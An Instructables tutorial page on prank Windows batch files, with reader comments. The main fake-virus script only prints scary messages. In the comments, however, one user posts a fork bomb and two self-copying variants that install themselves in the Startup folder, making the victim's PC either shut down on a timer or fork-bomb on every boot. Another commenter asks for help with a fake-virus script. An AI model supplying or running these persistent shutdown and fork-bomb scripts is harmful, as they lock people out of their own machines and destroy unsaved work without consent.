Instructables

Fun things to do with batch files

Step 2: Fun thing # 2

of course, theres the slightly-more-legal-but-still-annoying-fun field of pranking your friends. these work really well of someone who isn't that computer smart. Of course these are all harmless and will cause no damage. The worst thing that could possibly happen is their computer freezes. they restart. its fine. yippee.

Try this:
@echo off
echo You have been infected.
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
echo The virus will now proceed to delete your entire hard drive.....thank you for being patient...
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
msg * press ok to stop the virus
msg * haha i lied. the virus will now continue :D have a nice day.
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
echo deleting.......
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
echo YOU'VE BEEN FOOLED. THERE IS NO VIRUS.
pause

what it looks like:
 
Remove these adsRemove these ads by Signing Up
zacwaterhouse4 months ago
all you need is this trust me its the best it doesnt shit off their computer really it just stopped it and they have to restart trust my try it on your friends
____________________________________________________________
@echo off
:top
start
goto top
____________________________________________________________

Or this one which shuts the computer down and everytime they go to turn it back on it shuts down after the time you have set. dont worry they can get it off so dont put the time down to low or the computer wont be able to get it off
____________________________________________________________
@echo off
copy "%~f0" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup"
shutdown -s -t 100
____________________________________________________________
you can also make it like this
____________________________________________________________
@echo off
copy "%~f0" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup"
:top
start
goto top
monkeys982 years ago
msg is not recognised as an internal or external command
you must put space between "msg" and "*"
nhormell2 years ago
hey you seem pretty good with batch so
i am trying to make a code for a prank fake virus
it not working could you help me

@ echo off
title Black Wamba
color C0
:Begining
echo you have been infected curtisy of the black wamba hacking team
pause
PING 1.1.1.1 -n 1 -w 6000 >NUL
echo oh i see you dought the black wamba
PING 1.1.1.1 -n 1 -w 120 >NUL
echo HOW ABOUT I SHOW YOU A TASTE OF OUR POWER!!!!
PING 1.1.1.1 -n 1 -w 6000 >NUL
cls
title ERROR
echo "system root\user\program files\Black Wamba" has forced a shut down
echo are you shure you want to shutdown (will lose all saved data)
echo y\n
set /p =answer
pause
if %answer%== y
echo ERROR "Black Wamba" has taken control of system
PING 1.1.1.1. -n 1 -w 600
msg* jk but remember the black wamba watches all
if %answer%== n
echo ERROR "Black Wamba" has taken control of system
PING 1.1.1.1. -n 1 -w 600
msg* jk but remember the black wamba watches all

any help is appreciated thx
Pro

Get More Out of Instructables

Already have an Account?

close

PDF Downloads
As a Pro member, you will gain access to download any Instructable in the PDF format. You also have the ability to customize your PDF download.

Upgrade to Pro today!